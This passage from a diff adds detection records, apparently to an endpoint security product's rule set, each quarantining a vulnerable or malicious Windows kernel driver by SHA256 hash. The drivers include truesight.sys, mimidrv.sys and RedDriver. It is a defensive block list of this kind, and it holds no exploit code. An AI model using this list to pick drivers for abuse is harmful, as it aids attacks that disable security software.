+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491170Z",
+  "creation_date": "2026-03-23T11:45:31.491173Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491181Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c91902a47dd1324d534da43f97802017525c0569ff43e505d98501fbee10a6ae",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "95bac36c-b45d-5b7c-9f58-023d05e26ee5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.477321Z",
+  "creation_date": "2026-03-23T11:45:31.477325Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.477336Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e9a210fd7d55526d329aed28aa20a32a706e9a4ae631ae314983b7dadc223265",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "95bfb187-0c64-55d0-a36f-8a40afe1e44f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150530Z",
+  "creation_date": "2026-03-23T11:45:31.150532Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150537Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "44f369c19a088e940ebcecaf4e76ceb5de2df6de99d6ec6eb42d76653e294a3c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "95c44536-5b79-5f23-a681-a8992341b5ca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606332Z",
+  "creation_date": "2026-03-23T11:45:29.606334Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606339Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "decba65bbf2232ac55a698539304cab211b45eef0ed17c05dd7995bef2b98fc6",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "95ce19ea-6093-5c3a-b8b8-6e38e5776ca0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.478633Z",
+  "creation_date": "2026-03-23T11:45:31.478637Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.478646Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2e867e441d3cd8f642628c2f5fe444c3530fecf8110e854705c7e69fb17361eb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "95de7c68-6302-5c3c-b3e3-c2dfae63c647",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822406Z",
+  "creation_date": "2026-03-23T11:45:30.822408Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822414Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "58d81ddb4104c37284b15fca0d90b4388e430a34d93823df1a3514962dbcddb5",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "95e381d1-773b-59bf-91d2-664882043a0b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499616Z",
+  "creation_date": "2026-03-23T11:45:31.499619Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499627Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8c83a6c5a958d37120860687502a434c1cca089e832e0c6722d10341518d9c2c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "95f15f28-d7eb-5afb-bf5f-8b2996e32d36",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820737Z",
+  "creation_date": "2026-03-23T11:45:30.820739Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820744Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f14da8aa5c8eea8df63cf935481d673fdf3847f5701c310abf4023f9d80ad57d",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "95fd2d2e-65c6-549a-a8a7-a0a064de87b1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810073Z",
+  "creation_date": "2026-03-23T11:45:31.810076Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810084Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cd5657f459dfb4f93069a1a9ae1968836a4ef63d88236b65b9bf8a120f0c0495",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "96003a1f-dbcf-51b5-b601-ab7abdbbbbaa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468286Z",
+  "creation_date": "2026-03-23T11:45:30.468290Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468299Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2c44c0464e5b01540ba573be7555b3fcbdb65c9f1193f9c1d02b04c70090d4ac",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "96073a34-cef1-5b14-a28f-f6a4af90d790",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490678Z",
+  "creation_date": "2026-03-23T11:45:31.490680Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490686Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "841d4abdf793d1e16adc215eed8b34ce477a146d1e05620abc6ddfdb0f008ba9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "961faf78-0b83-5c21-b2b2-0e4b70c773c8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.986066Z",
+  "creation_date": "2026-03-23T11:45:29.986068Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.986073Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7aa067d928404795b4eb9c169639f23997227504ca4eb7b5b21518e6155abd47",
+  "comment": "Malicious Kernel Driver related to RedDriver (aka telephonuAfY.sys, spwizimgVT.sys, 834761775.sys, reddriver.sys, typelibdE.sys, NlsLexicons0024UvN.sys and ktmutil7ODM.sys) [https://blog.talosintelligence.com/undocumented-reddriver/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "962039f0-3b08-52d8-89b1-9dc27e23ee4a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.452650Z",
+  "creation_date": "2026-03-23T11:45:30.452653Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.452661Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5d10285d802fa793c217933c907d82db58977b865b3dad3848c6ed2550022413",
+  "comment": "Vulnerable Kernel Driver (aka phydmaccx86.sys) [https://www.loldrivers.io/drivers/1055625b-3480-48b3-9556-8628a745d8f0/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9629d955-c807-5b7f-b621-1ba06aa31d5c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836771Z",
+  "creation_date": "2026-03-23T11:45:30.836774Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836779Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d98c45421981f03a80c8237c0e04d897d637f5375c9ea31b2d6720dcd1fccc5c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "962b83f0-8be0-5635-af18-0a63b0f55723",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825575Z",
+  "creation_date": "2026-03-23T11:45:31.825577Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825582Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d994c963dd4845936895346870b7d84fec03cc9d1bb495ef7a3049d386b9a1d7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9635663a-e305-5cbc-be6d-6f9493af3e5b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980379Z",
+  "creation_date": "2026-03-23T11:45:29.980381Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980386Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d7b743c3f98662c955c616e0d1bb0800c9602e5b6f2385336a72623037bfd6dd",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "963bc974-a45c-548b-a466-228de2992b4c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493452Z",
+  "creation_date": "2026-03-23T11:45:31.493454Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493459Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e74a5c67a449d84b5ab5c3556e96698f914526e7002bc52be1e59c875e2cea40",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9640599e-f57c-5160-a65c-705e2d1fc238",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155666Z",
+  "creation_date": "2026-03-23T11:45:31.155668Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155674Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b0c557d14174aa4690efa1a2cac47c1ff8d31c4ddf83f437b36360cb51b2bb17",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "964c0ff5-2f26-5c7a-a318-dfbb2c216d2d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.470192Z",
+  "creation_date": "2026-03-23T11:45:30.470195Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.470205Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "951edade4ad00b185929c14622e5efcac1069cadaf6bcc945e744c30f069c9b9",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9655220e-adae-5fd0-b3f8-eef1b28611bb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.469806Z",
+  "creation_date": "2026-03-23T11:45:30.469810Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.469819Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cbf98b321670fd17462e7ceb8a0d002b9a1474f8015d94ea267a942a2e20c80b",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "965e16ce-e6e8-5fa7-95f1-07a49921cf71",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816555Z",
+  "creation_date": "2026-03-23T11:45:30.816557Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816563Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bb3b45506d203aafb4ef28586c0655cd2e9095e6238a8ccf76ab6eb6113b4476",
+  "comment": "Vulnerable Kernel Driver (aka ngiodriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9669b12d-935d-52a4-8d5d-fcebc01b711e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809158Z",
+  "creation_date": "2026-03-23T11:45:31.809161Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809169Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3b0c0ebf75a563c07b8406d3946a927e3deb0d60a52600497e4a4eb9dbafe881",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "966baff3-3498-588c-9dbc-26038cc09bf0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828884Z",
+  "creation_date": "2026-03-23T11:45:31.828886Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828892Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
